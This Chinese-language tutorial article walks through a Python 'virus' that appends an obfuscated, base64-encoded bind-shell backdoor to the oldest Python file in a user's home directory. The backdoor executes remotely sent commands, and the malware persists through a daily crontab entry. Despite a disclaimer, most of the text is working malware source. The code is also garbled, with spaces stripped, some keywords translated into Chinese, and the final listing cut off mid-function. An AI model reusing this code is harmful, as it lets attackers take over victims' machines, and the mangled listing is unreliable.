今天的文章展示了一种使用后门代码感染其他Python文件的Python“病毒”。使用Python内置的socket模块创建监听器连接Python内置的subprocess模块??在目标机器上执行命令,同时创建cronjob建立持久化以每天固定时间运行恶意软件。最终的Python脚本包含在本文末尾。注意:请勿将本文提供的Python脚本用于恶意目的。虽然它并不先进,但通过一些修改,它可以完全控制某人的计算机。本文的主要目的是使用这些脚本更好地了解黑客如何利用良性程序并将其变成恶意程序。事不宜迟,让我们开始吧。1.建立通信任何后门最重要的部分是建立通信。现在,让我们创建用于后门访问的服务器,要通过TCP连接连接到目标机器,我们需要使用socket模块模拟一个监听服务器。在socket模块中,有一个也称为socket的函数,我们可以使用它来创建TCP或UDP套接字。使用socket.socket函数创建套接字时,我们需要提供两个参数来指定我们要使用的IP版本和第4层协议。在这个Python脚本中,我们将传入以下参数:socket.AF_INET和socket.SOCK_STREAM。AF_INET:指定IPv4SOCK_STREAM:指定TCP而不是UDP。socket.socket函数返回一个对象,该对象由最终确定正在创建的套接字是监听套接字(服务器)还是连接套接字(客户端)的方法组成。要创建监听套接字,我们需要使用以下方法:bind>将IP地址和端口绑定到网络接口listen>指示我们的套接字开始监听传入连接accept>接受传入连接recv>从连接的客户端接收数据send>向连接的客户端发送数据然而,最重要的方法是recv和send。recv方法接收来自攻击者的命令,使用subproces.run函数在受害者的系统上执行它们,然后将执行命令的标准输出重定向到与攻击者建立的TCP连接。下面是Python代码:fromsocketimportsocket,AF_INET,SOCK_STREAMfromsubprocessimportrun,PIPEfromosimport_exitdefserve():withsocket(AF_INET,SOCK_STREAM)assoc:#[*]混淆后的值只是绑定到soc.bind((ip,port))soc.listen(5)whileTrue:conn,_=soc.accept()whileTrue:cmd=conn.recv(1024).decode("utf-8").strip()cmd_output=run(cmd.split(),stdout=PIPE,stderr=PIPE)如果cmd_output.returncode==0:conn.send(bytes(cmd_output.stdout))else:continueserve()2.感染目标Python文件该程序遍历指定目录(最好是用户的主目录)并找到修改时间最早的Python脚本。这是一项测试,因此不会感染所有Python文件,而只会感染修改时间最早的文件。感染单个Python文件就足以控制目标机器。defMTRkYmNubWx(self):YWJyZmFm="/"ifself.bGpqZ2hjen=="Linux"else"\\"forZ3Jvb3RhbGZq,_,_inwalk(self.cHlkYWNhZWFpa):forfinglob(Z3Jvb3RhbGZq+YWJyZmFm+"*.py"):如果f==Z3Jvb3RhbGZq+YWJyZmFm+__file__:继续self.Z2hhenh4ZGwK[1]:self.Z2hhenh4ZGwK=(f,ZHRmbGNhbW9k)self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0])上面代码中有些变量混淆了,看不懂。其实很简单,只需要使用os模块中定义的walk和stat函数去遍历目录文件,获取它们的修改时间即可。为每个文件获得的修改时间被转换为datetime.datetime对象,以便我们可以使用><和==等运算符轻松比较日期。在此函数结束时,选定的目标Python文件名将传递给将后门服务器代码注入其中的函数。3.通过crontab任务持久化这个Python后门的最后一个函数使用subprocess.run函数来调用一个Linuxshell命令,该命令将在当前用户的crontab文件中创建一个条目。此条目指定计划的cronjob应在每天14:00的计划时间运行。添加crontab对应的shell命令如下:echo'0014***file_name|crontab-然后我们让Python将上一步感染的文件添加到crontab中:defYWZhdGhjCg(self):ifself.bGpqZ2hjen=="Linux":run(f"echo'0014***{self.Z2hhenh4ZGwK[0]}'|crontab-",shell=True)4.最后的完整代码#!/usr/bin/envpython3fromos.pathimportexpanduserfromosimportwalk,statfromsysimportpathfromglobimportglobfromplatformimportsystemfrombase64importb64encode,b64decodefrom子进程导入运行,PIPEfromdatetimeimportdatetimeclasseHhjemR5eXB:def__init__(self,cHlkYWNhZWFpa):self.cHlkYWNhZWFpa=cHlkYWNhZWFpaself.bGpqZ2hjen=system()self.aWFmYXRye="0.0.0.0"self.ZmFsa2p0aGM=0x401self.Z2hhenh4ZGwK=NonedefdGVyeXB6Y2FjeH(self,dGR6eGFteXBxC):YWxmanRob=b"fromsocketimportsocket,AF_INET,SOCK_STREAM"YWxmanRob+=b"\nfromsubprocessimportrun,PIPE"YWxmanRob+=b"\ndefserve():"YWxmanRob+=b"\n\t以套接字(AF_INET,SOCK_STREAM)作为soc:“YWxmanRob+=bytes(f'\n\t\tsoc.bind((“{self.aWFmYXRye}”,{self.ZmFsa2p0aGM}))',“utf-8”)YWxmanRob+=b"\n\t\tsoc.listen(5)"YWxmanRob+=b"\n\t\twhileTrue:"YWxmanRob+=b"\n\t\t\tconn,_=soc.accept()"YWxmanRob+=b"\n\t\t\twhileTrue:"YWxmanRob+=b'\n\t\t\t\tcmd=conn.recv(1024).decode("utf-8").strip()'YWxmanRob+=(b"\n\t\t\t\tcmd_output=run(cmd.split(),stdout=PIPE,stderr=PIPE)")YWxmanRob+=b"\n\t\t\t\tifcmd_output.returncode==0:"YWxmanRob+=b"\n\t\t\t\t\tconn.send(bytes(cmd_output.stdout))"YWxmanRob+=b"\n\t\t\t\telse:continue"YWxmanRob+=b"\nserve()"YWxmanRob_base64=b64encode(YWxmanRob)cXBxZXJjYQ="\n"*0x2+"fromsubprocessimportrun\n"cXBxZXJjYQ+='run("""python3-c"从binascii导入a2b_base64;'cXBxZXJjYQ+='exec(a2b_base64(\'{}\'))"&""",shell=True)'.format(YWxmanRob_base64.decode())withopen(dGR6eGFteXBxC,"a")asf:f.write(cXBxZXJjYQ)自我。ZmFsa2p0aGM+=1defMTRkYmNubWx(self):YWJyZmFm="/"ifself.bGpqZ2hjen=="Linux"else"\\"forZ3Jvb3RhbGZq,_,_inwalk(self.cHlkYWNhZWFpa):forfinglob(Z3Jvb3RhbGZq+YWJyZmFm+"*.py"):如果f==Z3Jvb3RhbGZq+YWJyZmFm+__file__:继续)elifZHRmbGNhbW9k
